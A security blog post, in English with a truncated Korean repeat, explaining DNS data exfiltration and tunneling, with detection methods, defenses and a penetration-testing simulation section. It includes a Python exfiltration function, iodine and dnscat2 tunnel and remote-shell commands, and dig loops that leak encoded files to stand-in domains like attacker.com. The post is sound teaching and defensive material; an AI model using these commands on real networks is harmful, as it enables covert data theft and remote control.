Post

DNS Data Exfiltration

Posted
By Hyoeun Choi
49 min read
DNS Data Exfiltration

DNS Operating Principles

  • DNS (Domain Name System) is a distributed database system that translates domain names into IP addresses on the internet.
  • It is structured hierarchically, consisting of root servers, TLD (Top-Level Domain) servers, authoritative nameservers, and local DNS servers.
  • The DNS resolution process typically proceeds as follows:

    1. User enters a domain name in the browser (e.g., www.example.com)

    2. Local cache lookup process:
      • Operating system DNS cache: The OS caches previously queried DNS records in memory.
        • Windows: Can be viewed with the ipconfig /displaydns command
        • Linux: Checked according to the order set in /etc/nsswitch.conf
        • macOS: Cache statistics can be checked with sudo dscacheutil -statistics
      • Hosts file check: The operating system examines the local hosts file.
        • Windows: C:\Windows\System32\drivers\etc\hosts
        • Linux/macOS: /etc/hosts
        • Format: 192.168.1.1 www.example.com
      • nscd (Name Service Cache Daemon): A daemon for caching DNS lookups on Linux systems
        • Configuration file: /etc/nscd.conf
        • Check cache status: nscd -g
      • Browser DNS cache: Most web browsers maintain their own DNS cache.
        • Chrome: chrome://net-internals/#dns
        • Firefox: about:networking#dns

    3. If not found in the local cache, the system queries the local DNS server configured in /etc/resolv.conf (Linux/macOS) or network settings (Windows)

    4. The local DNS server begins a hierarchical query starting with the root DNS servers

    5. Obtains the IP address from the authoritative nameserver

    6. Caches the result and returns it to the client (cache retention period determined by TTL value)
  • DNS communication is allowed on most networks and typically uses UDP port 53 (TCP port 53 for larger transfers).

What is DNS Data Exfiltration?

DNS data exfiltration is a technique where attackers exploit the DNS protocol to extract sensitive data from an organization through unauthorized channels. This method has the following characteristics:

  • DNS traffic is rarely blocked by firewalls, making detection difficult.
  • It blends in with normal network traffic, making it inconspicuous.
  • Data Loss Prevention (DLP) systems typically don’t monitor DNS traffic.

The Real Threat of DNS Data Exfiltration

Key reasons why DNS data exfiltration is an effective threat:

  1. Variety of attack scenarios:
    • Insider threats: Used by authorized insiders as a means to exfiltrate data
    • Final stage of APT attacks: More dangerously, used as a data exfiltration channel after attackers have already penetrated the network
  2. Detection evasion characteristics:
    • Disguised as general traffic: Exfiltration traffic hides among numerous legitimate DNS queries
    • Encryption and distribution techniques: Data encryption and distribution across multiple subdomains make detection difficult
    • Indirect path: Unlike direct HTTP/FTP transfers, DNS is often a blind spot in security monitoring
  3. Difficulty in tracing:
    • Thousands of systems simultaneously generate DNS requests in large networks
    • Requests are forwarded through central DNS servers, complicating source identification
    • Potential routing through compromised intermediate systems
    • Limited DNS log retention periods in most organizations

The Role of Attacker-Controlled Authoritative Nameservers

In DNS data exfiltration and DNS tunneling attacks, the authoritative nameserver is a core component controlled by the attacker.

Authoritative nameserver setup process:

  1. Domain registration: The attacker legitimately registers a domain (e.g., attacker.com).
  2. Nameserver configuration options:
    • Direct operation of a DNS server by the attacker (complete control and log access)
    • Using DNS services provided by domain registrars (management through web interface)
    • Using third-party DNS hosting services (CloudFlare, AWS Route53, etc.)
  3. DNS record configuration: The attacker sets up necessary records for the domain:
    1
2
3
4
5
6

    # NS records for authority delegation
attacker.com.    IN    NS    ns1.attacker.com.
attacker.com.    IN    NS    ns2.attacker.com.
   
# Wildcard record for data collection
*.attacker.com.  IN    A     192.168.0.1

Data exfiltration mechanism:

  1. An infected internal system sends a DNS query containing encoded data:
    1

    stolen-credit-cards.attacker.com

  2. This query passes through the organization’s DNS server, the ISP’s DNS server, and ultimately reaches the attacker’s authoritative nameserver via the DNS hierarchy.

  3. The attacker’s nameserver logs this request and returns a response (which may not be important).

  4. The attacker extracts the exfiltrated data by analyzing nameserver logs:
    1
2

    # Log analysis example
grep "stolen" /var/log/named/queries.log | cut -d '.' -f1 > extracted_data.txt

DNS Data Exfiltration Techniques

1. Basic Data Encoding via DNS Queries

The most basic form of DNS data exfiltration works as follows:

1

stolen-data.attacker-controlled-domain.com

For example, to exfiltrate a credit card number 4111-1111-1111-1111:

1

4111-1111-1111-1111.exfil.attacker.com

When such queries are sent to DNS servers, the attacker can log these requests on their controlled authoritative nameserver and extract the data.

2. Subdomain Encoding

For exfiltrating large amounts of data, the data is split across multiple subdomains:

1
2
3

part1-of-data.exfil.attacker.com
part2-of-data.exfil.attacker.com
part3-of-data.exfil.attacker.com

3. Various Encoding Techniques

The following encoding methods can be used for data exfiltration:

  • Base64 encoding: Converts binary data to ASCII text
  • Hex encoding: Converts data to hexadecimal
  • Bit-level splitting: Splits data at the bit level for transmission

4. Utilizing DNS Record Types

Various DNS record types can be used to increase data transmission capacity:

  • TXT records: Can store up to 255 characters of text data
  • NULL records: Can contain arbitrary binary data
  • CNAME records: Specifies aliases for domain names
  • MX records: Specifies mail server information

Example code (data exfiltration using TXT records):

1
2
3
4
5
6
7
8
9
10
11
12
13
14

import dns.resolver
import base64

def exfiltrate_data(data, domain="exfil.attacker.com"):
    encoded_data = base64.b64encode(data.encode()).decode()
    # Split data into 255-character chunks
    chunks = [encoded_data[i:i+255] for i in range(0, len(encoded_data), 255)]
    
    for i, chunk in enumerate(chunks):
        query = f"chunk{i}.{domain}"
        try:
            dns.resolver.resolve(query, 'TXT')
        except:
            pass  # Continue even if it fails

DNS Tunneling

DNS tunneling is a technique that uses the DNS protocol as a communication channel to transmit data from other protocols (HTTP, SSH, etc.). This goes beyond simple data exfiltration to enable bidirectional communication.

Operating principle:

  1. The client encodes the data to be transmitted and includes it as part of a DNS query.
  2. This query is forwarded to an authoritative DNS server controlled by the attacker.
  3. The server extracts data from the query and returns response data re-encoded as a DNS response.
  4. This request-response cycle repeats continuously to form a communication channel.

Key features:

  • Firewall bypass: Most networks allow DNS traffic (UDP/53, TCP/53), enabling external communication even in restricted network environments
  • Stealth: Disguised as normal DNS traffic to evade detection
  • Slow speed: Limited bandwidth due to DNS protocol characteristics (typically a few Kbps)
  • High overhead: Requires many DNS packets relative to the original data

Implementation methods:

  1. Domain encoding method:
    1
2
3

    # Original data: "Hello World"
# After encoding: 
68656c6c6f776f726c64.tunnel.example.com
  2. Record type utilization:
    • TXT records: Can contain more data
    • CNAME/MX/SRV: Various record types to evade detection
    • NULL records: Advantageous for binary data transmission
  3. Fragmentation: Splitting large data into multiple DNS queries and reassembling

Major DNS tunneling tools:

  • iodine: Tunnels IP traffic within DNS packets
  • dnscat2: Provides command/control channel via DNS
  • DNSCat: Offers data compression and encryption capabilities

iodine tunneling example:

1
2
3
4
5
6
7
8

# Server-side setup (attacker server)
iodined -f -c -P password 10.0.0.1 tunnel.attacker.com

# Client-side setup (internal network system)
iodine -f -P password tunnel.attacker.com

# SSH connection example after tunnel setup
ssh user@10.0.0.1

After this setup, all SSH traffic is encapsulated in DNS queries and responses.

dnscat2 tunneling example (command execution):

1
2
3
4
5
6
7
8
9

# Server side (attacker server)
ruby ./dnscat2.rb tunnel.attacker.com

# Client side (internal network system)
./dnscat2 --domain tunnel.attacker.com

# Execute commands on server (after shell acquisition)
dnscat2> window -i 1
dnscat2> exec cmd.exe

Differences between DNS data exfiltration and DNS tunneling:

CharacteristicDNS Data ExfiltrationDNS Tunneling
Communication directionPrimarily one-way (internal→external)Supports bidirectional communication
ComplexityRelatively simpleMore complex protocol design
SpeedIntermittent transmission possibleMaintains persistent connection
Detection difficultyMediumHigh (concealed persistent connection)
Primary useData exfiltrationRemote control, tunneling, proxy

Role of nameserver in DNS tunneling: In tunneling, the attacker’s nameserver plays a more active role:

  • Extracting commands or data from incoming DNS queries
  • Encoding commands or data in response packets
  • Maintaining session state and connection management

Real Cases and Malware

DNS data exfiltration is used by various APT (Advanced Persistent Threat) groups and malware:

  1. FrameworkPOS: Exfiltrates credit card information from POS (Point of Sale) systems via DNS queries
  2. Multigrain: Exfiltrates card data via DNS queries after infecting payment terminals
  3. APT group C&C: Various APT groups like OilRig and APT29 use DNS as a C&C (Command and Control) channel
  4. PlugX: Malware used by China-related APT groups, includes DNS tunneling capabilities
  5. Feederbot: Botnet malware that receives control commands via DNS

DNS Data Exfiltration Detection Methods

1. Traffic Pattern Analysis

  • Detecting abnormal DNS query volume
  • Domain entropy measurement: Detecting subdomains with high randomness
  • Query frequency monitoring: Checking for many queries in a short time

2. Domain Analysis

  • Domain Generation Algorithm (DGA) detection: Identifying algorithmically generated domains
  • Subdomain length analysis: Checking for abnormally long subdomains
  • Newly registered domain monitoring: Monitoring DNS queries for recently registered domains

3. DNS Response Analysis

  • NXDOMAIN response ratio monitoring: Checking the ratio of requests for non-existent domains
  • TTL (Time-to-Live) value inspection: Detecting abnormally short TTLs
  • Record type distribution analysis: Analyzing usage patterns of rarely used record types (NULL, CNAME)

4. Machine Learning-Based Detection

Machine learning models can be built based on the following characteristics:

  • Domain name length and entropy
  • Number and length of subdomains
  • Query timing patterns
  • Domain referrer analysis
  • Response size and type

Here is a simple Python example for calculating DNS entropy:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

import math
import collections

def calculate_entropy(domain):
    """Calculate entropy of domain name"""
    chars = collections.Counter(domain)
    length = len(domain)
    entropy = 0
    
    for count in chars.values():
        probability = count / length
        entropy -= probability * math.log2(probability)
    
    return entropy

# Example: normal domain vs. suspicious domain
normal_domain = "www.example.com"
suspicious_domain = "a1b2c3d4e5f6g7h8i9.attacker.com"

print(f"Normal domain entropy: {calculate_entropy(normal_domain)}")
print(f"Suspicious domain entropy: {calculate_entropy(suspicious_domain)}")

5. Challenges and Limitations in DNS Exfiltration Detection

  • High volume of DNS traffic: Corporate networks generate millions of DNS queries daily
  • False positives: Some legitimate CDN and cloud services also generate similar patterns
  • Low-bandwidth exfiltration: Difficult to detect when data is exfiltrated very slowly over long periods
  • Sophisticated evasion techniques: Attackers can evade detection by adding time delays between queries and generating patterns similar to normal traffic

6. DNS Exfiltration Simulation in Penetration Testing

Steps for DNS data exfiltration simulation during security assessments:

  1. Testing tool setup:
    1
2

    # DNS tunneling test using dnscat2
./dnscat2 --domain yourtestdomain.com --no-cache

    dnscat2 main option descriptions:

    • --domain yourtestdomain.com: Specifies the DNS domain to use for testing. This domain should be set up with an authoritative nameserver controlled by the penetration tester
    • --no-cache: Disables DNS caching to ensure all queries are actually transmitted over the network
    • Additional useful options:
      • --dns <server>: Specifies which DNS server to use
      • --secret <key>: Sets a pre-shared key for communication encryption
      • --delay <ms>: Sets delay between queries (milliseconds)
      • --max-retransmits <n>: Limits maximum number of retransmissions
    1
2

    # Testing with iodine
./iodined -f -c -P password 10.0.0.1 test.yourdomain.com

    iodine server (iodined) main option descriptions:

    • -f: Run in foreground mode (easier debugging)
    • -c: Disable client IP address checking
    • -P password: Set password for client authentication
    • 10.0.0.1: Server IP address within the tunnel (assigned to virtual tunnel interface)
    • test.yourdomain.com: DNS domain to use for testing
    • Additional useful options:
      • -D: Enable debug messages
      • -m <mtu>: Set Maximum Transmission Unit (MTU)
      • -t <ttl>: Set TTL value for DNS records
      • -l <ip>: Bind to specific IP address

    Client-side iodine setup:

    1
2

    # iodine client setup
./iodine -f -P password test.yourdomain.com

    iodine client main options:

    • -f: Run in foreground mode
    • -P password: Password for server authentication (must match server)
    • Additional useful options:
      • -r <ip>: Specify DNS resolver to use
      • -d <tun>: Specify tun device name to use
      • -T <type>: Specify DNS record type to use (NULL, TXT, SRV, MX, CNAME, A)
      • -O <opcode>: Specify DNS message opcode (QUERY, IQUERY, STATUS)
  2. Test scenarios:
    • Testing by data size:
      1
2
3
4
5
6
7
8
9
10
11
12

      # Small data exfiltration test (single record)
echo "confidential_small" | base64 | tr -d '\n' > /tmp/small.b64
cat /tmp/small.b64 | while read line; do dig $(echo $line).test.yourdomain.com; done
     
# Medium-sized data exfiltration test (10KB file)
dd if=/dev/urandom of=/tmp/medium_file bs=1024 count=10
base64 /tmp/medium_file | fold -w 30 | nl | \
while read n line; do dig $n.$line.test.yourdomain.com; sleep 0.5; done
     
# Large data exfiltration test (1MB image file)
cat /tmp/large_image.jpg | base64 | split -b 30 - chunk_
for f in chunk_*; do dig $(cat $f).test.yourdomain.com @internal_dns; sleep 0.8; done
    • Transmission speed testing:
      1
2
3
4
5
6
7
8

      # High-speed transmission test (as fast as possible)
for i in $(seq 1 500); do dig $i.fastexfil.test.yourdomain.com & done
     
# Stealthy slow transmission test (irregular intervals, average 30 seconds)
cat /tmp/secret_data.b64 | while read line; do 
  dig $(echo $line).slowexfil.test.yourdomain.com;
  sleep $(awk 'BEGIN {print 15 + rand() * 30}');
done
    • Testing various encoding techniques:
      1
2
3
4
5
6
7
8
9
10
11
12
13
14

      # Base64 encoding test
echo "secret_data" | base64 | tr -d '\n' > /tmp/b64.txt
cat /tmp/b64.txt | dig $(cat -).b64.test.yourdomain.com
     
# Hex encoding test
echo "secret_data" | xxd -p | tr -d '\n' > /tmp/hex.txt
cat /tmp/hex.txt | dig $(cat -).hex.test.yourdomain.com
     
# Split encoding test (including chunk indicators)
SECRET="LongSecretMessage123"
for i in $(seq 0 3 ${#SECRET}); do
  chunk="${SECRET:$i:3}"
  dig $i.$chunk.split.test.yourdomain.com
done
  3. Detection system verification:
    • Testing existing security solutions:
      1
2
3
4
5
6
7
8
9
10

      # Log analysis commands (check for detection after testing)
# Check Zeek/Bro logs
grep -i "yourtestdomain.com" /var/log/bro/current/dns.log | wc -l
     
# Check Suricata alerts
grep -i "DNS" /var/log/suricata/eve.json | grep "yourtestdomain.com" | jq .
     
# Check BIND DNS server logs
grep -i "yourtestdomain.com" /var/log/named/queries.log | \
awk '{print $1, $5}' | sort | uniq -c | sort -nr
    • Measuring detection performance:
      1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

      # Script for calculating data exfiltration amount and detection rate
#!/bin/bash
START_TIME=$(date +%s)
TOTAL_BYTES=1048576  # 1MB
CHUNK_SIZE=30
CHUNKS=$((TOTAL_BYTES / CHUNK_SIZE))
     
# Start exfiltration
for i in $(seq 1 $CHUNKS); do
  dig $i.$(openssl rand -hex 15).exfil.yourtestdomain.com &> /dev/null
  if [ $((i % 100)) -eq 0 ]; then
    # Check detection system every 100 requests
    ALERTS=$(grep -c "yourtestdomain.com" /var/log/security_alerts.log)
    echo "Data transmitted: $((i * CHUNK_SIZE)) bytes, Alerts detected: $ALERTS"
  fi
  sleep 0.05
done
     
END_TIME=$(date +%s)
DURATION=$((END_TIME - START_TIME))
echo "Total time: ${DURATION} seconds, Average transmission rate: $(($TOTAL_BYTES / $DURATION)) bytes/sec"
echo "Total exfiltration attempts: $CHUNKS, Total alerts detected: $(grep -c "yourtestdomain.com" /var/log/security_alerts.log)"
    • Deriving recommendations for detection threshold adjustment:
      1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

      # Analysis result template example
     
## DNS Exfiltration Detection Performance Evaluation Report
     
1. Test environment:
   - Network: Internal corporate network (10.0.0.0/8)
   - Detection systems: Suricata 6.0.1, Zeek 4.0.3, DNS RPZ
   - Test period: 2023-04-15 13:00 ~ 16:30
     
2. Test result summary:
   - Small data (5KB): 12% detection rate, average detection time >30 minutes
   - Medium-sized data (100KB): 67% detection rate, average detection time 8 minutes
   - Large data (1MB+): 98% detection rate, average detection time 45 seconds
     
3. Recommended threshold adjustments:
   - DNS query frequency: >20 queries/minute/host (currently 50 queries/minute)
   - Subdomain entropy: >4.2 (currently 4.8)
   - Abnormal TLD requests: Add monitoring
   - Maximum domain length: >65 characters (currently no limit)
        
4. Bypassable settings:
   - Currently only monitoring single record type (A)
   - Lack of DNS-over-HTTPS traffic inspection capability
   - No monitoring of queries per domain ratio

DNS Data Exfiltration Defense Strategies

1. DNS Filtering and Monitoring

  • Implement DNS firewall: Block known malicious domains
  • Configure DNS RPZ (Response Policy Zone): Modify responses for suspicious domains
  • Deploy Network Anomaly Detection Systems (NIDS): Real-time DNS traffic analysis

2. DNS Configuration Hardening

  • Limit DNS over HTTPS (DoH) or DNS over TLS (DoT): Control encrypted DNS traffic
  • Lock down recursive DNS servers: Configure to use only approved DNS servers
  • Implement DNSSEC: Ensure DNS response integrity

3. Network Segmentation and Policies

  • Restrict DNS queries: Block direct queries to external DNS servers from internal systems
  • Build DNS proxy servers: Route all DNS traffic through centralized proxy servers
  • Source/destination-based filtering: Restrict DNS requests from specific systems

4. Advanced Defense Techniques

  • DNS query rate limiting: Restrict excessive DNS queries from a single host
  • Payload inspection: Deep analysis of DNS packet contents
  • Behavior-based analysis: Establish baseline DNS usage patterns for users/systems and detect deviations

Here’s an example of iptables rules for implementing DNS query rate limiting in a Linux environment:

1
2
3
4
5
6
7

# UDP DNS query rate limiting (limit to 10 queries per second)
iptables -A OUTPUT -p udp --dport 53 -m state --state NEW -m limit --limit 10/second --limit-burst 20 -j ACCEPT
iptables -A OUTPUT -p udp --dport 53 -m state --state NEW -j DROP

# TCP DNS query rate limiting
iptables -A OUTPUT -p tcp --dport 53 -m state --state NEW -m limit --limit 10/second --limit-burst 20 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 53 -m state --state NEW -j DROP

5. Enhancing Source Traceability

Methods for tracing the source if DNS data exfiltration occurs:

  • DNS log centralization: Collect logs from all DNS servers to a central SIEM
  • Source IP preservation: Maintain original request IP information even in NAT environments
  • DNS query audit trail: Record the complete path of each DNS query
  • Enable detailed logging:
    1
2
3
4
5
6
7
8
9
10
11

    # BIND DNS server detailed logging configuration example
logging {
    channel detailed_log {
        file "/var/log/named/query.log" versions 10 size 100m;
        severity debug;
        print-time yes;
        print-severity yes;
        print-category yes;
    };
    category queries { detailed_log; };
};

6. Practical Defense Challenges

Practical challenges to consider for effective DNS data exfiltration defense:

  • Balance between performance and security: Excessive filtering can degrade network performance
  • False positives: Risk of blocking legitimate business traffic
  • Encrypted DNS traffic: Difficulty inspecting content with DoH/DoT
  • Patch management: Need to maintain security updates for DNS software
  • Multi-layered defense necessity: Inadequate protection with a single security solution

Reference Tools

Detection Tools

  • DNSlog: DNS query logging and analysis
  • Zeek (formerly Bro): Network traffic monitoring
  • Suricata: DNS traffic detection rule support
  • Splunk DNS Analysis App: DNS log analysis and visualization

Testing and Research Tools

  • dnscat2: DNS tunneling testing tool
  • iodine: DNS tunnel implementation tool
  • dns2tcp: Tool for converting DNS to TCP transmission
  • DNSChef: DNS proxy and spoofing tool

References

DNS 작동 원리

  • DNS(Domain Name System)는 인터넷에서 도메인 이름을 IP 주소로 변환하는 분산형 데이터베이스 시스템입니다.
  • 계층적 구조로 이루어져 있으며, 루트 서버에서 시작하여 TLD(Top-Level Domain) 서버, 권한 있는 네임서버, 로컬 DNS 서버 등으로 구성됩니다.
  • DNS 확인 과정은 일반적으로 다음과 같이 진행됩니다:

    1. 사용자가 브라우저에 도메인 이름 입력 (예: www.example.com)

    2. 로컬 캐시 검색 과정:
      • 운영체제 DNS 캐시: 운영체제는 이전에 조회했던 DNS 레코드를 메모리에 캐싱합니다.
        • Windows: ipconfig /displaydns 명령으로 확인 가능
        • Linux: /etc/nsswitch.conf에서 설정된 순서에 따라 캐시 확인
        • macOS: sudo dscacheutil -statistics 명령으로 캐시 통계 확인
      • hosts 파일 확인: 운영체제는 로컬 hosts 파일을 검사합니다.
        • Windows: C:\Windows\System32\drivers\etc\hosts
        • Linux/macOS: /etc/hosts
        • 형식: 192.168.1.1 www.example.com
      • nscd(Name Service Cache Daemon): 리눅스 시스템에서 DNS 조회를 캐싱하는 데몬
        • 구성 파일: /etc/nscd.conf
        • 캐시 상태 확인: nscd -g
      • 브라우저 DNS 캐시: 대부분의 웹 브라우저는 자체 DNS 캐시를 유지합니다.
        • Chrome: chrome://net-internals/#dns
        • Firefox: about:networking#dns

    3. 로컬 캐시에서 찾지 못하면 시스템은 /etc/resolv.conf(Linux/macOS) 또는 네트워크 설정(Windows)에 구성된 로컬 DNS 서버에 질의

    4. 로컬 DNS 서버는 루트 DNS 서버에서 시작하여 계층적으로 쿼리 진행

    5. 권한 있는 네임서버로부터 IP 주소 획득

    6. 결과를 캐싱하고 클라이언트에 반환 (TTL 값에 따라 캐시 유지 기간 결정)
  • DNS 통신은 대부분의 네트워크에서 허용되며, 일반적으로 UDP 포트 53을 사용합니다(대용량 전송 시 TCP 포트 53 사용).

DNS 데이터 유출(DNS Data Exfiltration)이란?

DNS 데이터 유출은 공격자가 DNS 프로토콜을 악용하여 승인되지 않은 채널을 통해 민감한 데이터를 조직 외부로 유출시키는 기술입니다. 이 방법은 다음과 같은 특징이 있습니다:

  • DNS 트래픽은 대부분의 방화벽에서 차단되지 않아 탐지가 어렵습니다.
  • 일반적인 네트워크 트래픽처럼 보이기 때문에 정상 트래픽에 섞여 눈에 띄지 않습니다.
  • 일반적으로 데이터 유출 제어(DLP) 시스템이 DNS 트래픽을 모니터링하지 않습니다.

DNS 데이터 유출의 실질적 위협

DNS 데이터 유출이 효과적인 위협이 되는 주요 이유:

  1. 공격 시나리오의 다양성:
    • 내부자 위협: 권한을 가진 내부자가 데이터를 유출하는 수단으로 활용
    • APT 공격의 최종 단계: 더 위험한 시나리오로, 공격자가 이미 네트워크에 침투한 후 데이터 유출 채널로 사용
  2. 탐지 회피 특성:
    • 일반 트래픽으로 위장: 수많은 정상 DNS 트래픽 사이에 유출 트래픽이 숨겨짐
    • 암호화 및 분산 기법: 데이터 암호화와 여러 서브도메인으로 분산하여 탐지 어려움
    • 간접 경로: 직접적인 HTTP/FTP 전송과 달리, 대부분의 보안 모니터링 사각지대
  3. 추적의 어려움:
    • 대규모 네트워크에서는 수천 대의 시스템이 동시에 DNS 요청을 생성
    • 중앙 DNS 서버를 통한 요청 전달로 원래 출처 파악이 복잡해짐
    • 감염된 중간 시스템을 경유한 요청 가능성
    • 대부분의 조직에서 DNS 로그 보존 기간이 제한적

공격자의 권한 있는 네임서버 역할

DNS 데이터 유출과 DNS 터널링 공격에서 권한 있는 네임서버(Authoritative Nameserver)는 공격의 핵심 구성 요소로, 공격자가 제어하는 리소스입니다.

권한 있는 네임서버 설정 프로세스:

  1. 도메인 등록: 공격자는 합법적인 방법으로 도메인(예: attacker.com)을 등록합니다.
  2. 네임서버 구성 옵션:
    • 공격자가 직접 DNS 서버 운영 (완전한 제어 및 로그 접근)
    • 도메인 레지스트라가 제공하는 DNS 서비스 사용 (웹 인터페이스를 통한 관리)
    • 제3자 DNS 호스팅 서비스 이용 (CloudFlare, AWS Route53 등)
  3. DNS 레코드 설정: 공격자는 도메인에 필요한 레코드를 설정합니다:
    1
2
3
4
5
6

    # 권한 위임을 위한 NS 레코드 예시
attacker.com.    IN    NS    ns1.attacker.com.
attacker.com.    IN    NS    ns2.attacker.com.
   
# 데이터 수집을 위한 와일드카드 레코드
*.attacker.com.  IN    A     192.168.0.1

데이터 유출 메커니즘:

  1. 내부 감염 시스템이 인코딩된 데이터를 포함한 DNS 쿼리를 전송합니다:
    1

    stolen-credit-cards.attacker.com

  2. 이 쿼리는 조직의 DNS 서버, ISP의 DNS 서버 등을 거쳐 최종적으로 DNS 계층 구조를 통해 공격자의 권한 있는 네임서버에 도달합니다.

  3. 공격자의 네임서버는 이 요청을 로그에 기록하고, 응답을 반환합니다(이 응답은 크게 중요하지 않을 수 있음).

  4. 공격자는 네임서버 로그를 분석하여 유출된 데이터를 추출합니다:
    1
2

    # 로그 분석 예시
grep "stolen" /var/log/named/queries.log | cut -d '.' -f1 > extracted_data.txt

DNS 데이터 유출 기법

1. DNS 쿼리를 통한 기본 데이터 인코딩

가장 기본적인 형태의 DNS 데이터 유출은 다음과 같이 작동합니다:

1

stolen-data.attacker-controlled-domain.com

예를 들어, 신용카드 번호 4111-1111-1111-1111을 유출하려면:

1

4111-1111-1111-1111.exfil.attacker.com

이러한 쿼리를 DNS 서버에 전송하면, 공격자는 자신이 제어하는 권한 있는 네임서버에서 이 요청을 로깅하고 데이터를 추출할 수 있습니다.

2. 서브도메인 인코딩

대량의 데이터를 유출할 경우, 데이터를 여러 서브도메인으로 분할합니다:

1
2
3

part1-of-data.exfil.attacker.com
part2-of-data.exfil.attacker.com
part3-of-data.exfil.attacker.com

3. 다양한 인코딩 기법

데이터 유출 시 다음과 같은 인코딩 방법을 사용할 수 있습니다:

  • Base64 인코딩: 바이너리 데이터를 ASCII 텍스트로 변환
  • Hex 인코딩: 16진수로 데이터 변환
  • 비트 단위 분할: 데이터를 비트 단위로 분할하여 전송

4. DNS 레코드 타입 활용

다양한 DNS 레코드 타입을 사용하여 데이터 전송량을 늘릴 수 있습니다:

  • TXT 레코드: 최대 255자의 텍스트 데이터 저장 가능
  • NULL 레코드: 임의의 바이너리 데이터 포함 가능
  • CNAME 레코드: 다른 도메인명으로 별칭 지정
  • MX 레코드: 메일 서버 정보 지정

예제 코드 (TXT 레코드를 사용한 데이터 유출):

1
2
3
4
5
6
7
8
9
10
11
12
13
14

import dns.resolver
import base64

def exfiltrate_data(data, domain="exfil.attacker.com"):
    encoded_data = base64.b64encode(data.encode()).decode()
    # 255자 단위로 데이터 분할
    chunks = [encoded_data[i:i+255] for i in range(0, len(encoded_data), 255)]
    
    for i, chunk in enumerate(chunks):
        query = f"chunk{i}.{domain}"
        try:
            dns.resolver.resolve(query, 'TXT')
        except:
            pass  # 실패해도 계속 진행

DNS 터널링

DNS 터널링은 DNS 프로토콜을 통신 채널로 사용하여 다른 프로토콜(HTTP, SSH 등)의 데이터를 전송하는 기술입니다. 이는 단순한 데이터 유출을 넘어 양방향 통신까지 가능하게 합니다.

작동 원리:

  1. 클라이언트는 전송하려는 데이터를 인코딩하여 DNS 쿼리의 일부로 포함시킵니다.
  2. 이 쿼리는 공격자가 제어하는 권한 있는 DNS 서버로 전달됩니다.
  3. 서버는 쿼리에서 데이터를 추출하고, 응답 데이터를 다시 DNS 응답으로 인코딩하여 반환합니다.
  4. 이러한 요청-응답 사이클이 지속적으로 반복되며 통신 채널을 형성합니다.

주요 특징:

  • 방화벽 우회: 대부분의 네트워크는 DNS 트래픽(UDP/53, TCP/53)을 허용하므로 제한적인 네트워크 환경에서도 외부 통신 가능
  • 은닉성: 정상적인 DNS 트래픽으로 위장하여 탐지 회피
  • 느린 속도: DNS 프로토콜 특성상 대역폭이 제한적 (일반적으로 수 Kbps)
  • 높은 오버헤드: 원본 데이터 대비 많은 DNS 패킷 필요

구현 방식:

  1. 도메인 인코딩 방식:
    1
2
3

    # 원본 데이터: "Hello World"
# 인코딩 후: 
68656c6c6f776f726c64.tunnel.example.com
  2. 레코드 타입 활용:
    • TXT 레코드: 더 많은 데이터 포함 가능
    • CNAME/MX/SRV: 다양한 레코드 타입으로 탐지 회피
    • NULL 레코드: 바이너리 데이터 전송에 유리
  3. 프래그멘테이션: 큰 데이터를 여러 DNS 쿼리로 분할하고 재조립

주요 DNS 터널링 도구:

  • iodine: DNS 패킷 내에 IP 트래픽을 터널링
  • dnscat2: DNS를 통한 명령/제어 채널 제공
  • DNSCat: 데이터 압축 및 암호화 기능 제공

iodine 터널링 예시:

1
2
3
4
5
6
7
8

# 서버 측 설정 (공격자 서버)
iodined -f -c -P password 10.0.0.1 tunnel.attacker.com

# 클라이언트 측 설정 (내부 네트워크 시스템)
iodine -f -P password tunnel.attacker.com

# 터널 설정 후 SSH 연결 예시
ssh user@10.0.0.1

이 설정 후, 모든 SSH 트래픽은 DNS 쿼리와 응답으로 캡슐화되어 전송됩니다.

dnscat2 터널링 예시 (명령어 실행):

1
2
3
4
5
6
7
8
9

# 서버 측 (공격자 서버)
ruby ./dnscat2.rb tunnel.attacker.com

# 클라이언트 측 (내부 네트워크 시스템)
./dnscat2 --domain tunnel.attacker.com

# 서버에서 명령 실행 (셸 획득 후)
dnscat2> window -i 1
dnscat2> exec cmd.exe

DNS 터널링과 일반 DNS 데이터 유출의 차이점:

특성DNS 데이터 유출DNS 터널링
통신 방향주로 단방향 (내부→외부)양방향 통신 지원
복잡성상대적으로 단순더 복잡한 프로토콜 설계
속도간헐적 전송 가능지속적인 연결 유지
탐지 난이도중간높음 (지속적 연결 은닉)
주요 용도데이터 유출원격 제어, 터널링, 프록시

DNS 터널링에서의 네임서버 역할: 터널링에서 공격자의 네임서버는 더 적극적인 역할을 수행합니다:

  • 들어오는 DNS 쿼리에서 명령어나 데이터를 추출
  • 응답 패킷에 명령이나 데이터를 인코딩하여 반환
  • 세션 상태 유지 및 연결 관리

실제 사례 및 악성코드

DNS 데이터 유출은 다양한 APT(Advanced Persistent Threat) 그룹과 악성코드에서 사용되고 있습니다:

  1. FrameworkPOS: POS(Point of Sale) 시스템에서 신용카드 정보를 탈취하여 DNS 쿼리를 통해 유출
  2. Multigrain: 결제 단말기 감염 후 DNS 쿼리를 통해 카드 데이터 유출
  3. APT 그룹 C&C: OilRig, APT29 등 여러 APT 그룹이 DNS를 C&C(Command and Control) 채널로 활용
  4. PlugX: 중국 관련 APT 그룹에서 사용하는 악성코드로 DNS 터널링 기능 포함
  5. Feederbot: DNS를 통해 제어 명령을 받는 봇넷 악성코드

DNS 데이터 유출 탐지 방법

1. 트래픽 패턴 분석

  • 비정상적인 DNS 쿼리 양 감지
  • 도메인 엔트로피 측정: 무작위성이 높은 서브도메인 탐지
  • 쿼리 빈도 모니터링: 짧은 시간 내 많은 쿼리 발생 여부 확인

2. 도메인 분석

  • 도메인 생성 알고리즘(DGA) 탐지: 알고리즘으로 생성된 도메인 식별
  • 서브도메인 길이 분석: 비정상적으로 긴 서브도메인 확인
  • 신규 등록 도메인 모니터링: 최근 등록된 도메인에 대한 DNS 쿼리 주시

3. DNS 응답 분석

  • NXDOMAIN 응답 비율 모니터링: 존재하지 않는 도메인 요청 비율 확인
  • TTL(Time-to-Live) 값 검사: 비정상적으로 짧은 TTL 탐지
  • 레코드 타입 분포 분석: 드물게 사용되는 레코드 타입(NULL, CNAME) 사용 패턴 확인

4. 머신러닝 기반 탐지

다음과 같은 특성을 기반으로 한 머신러닝 모델을 구축할 수 있습니다:

  • 도메인 이름 길이 및 엔트로피
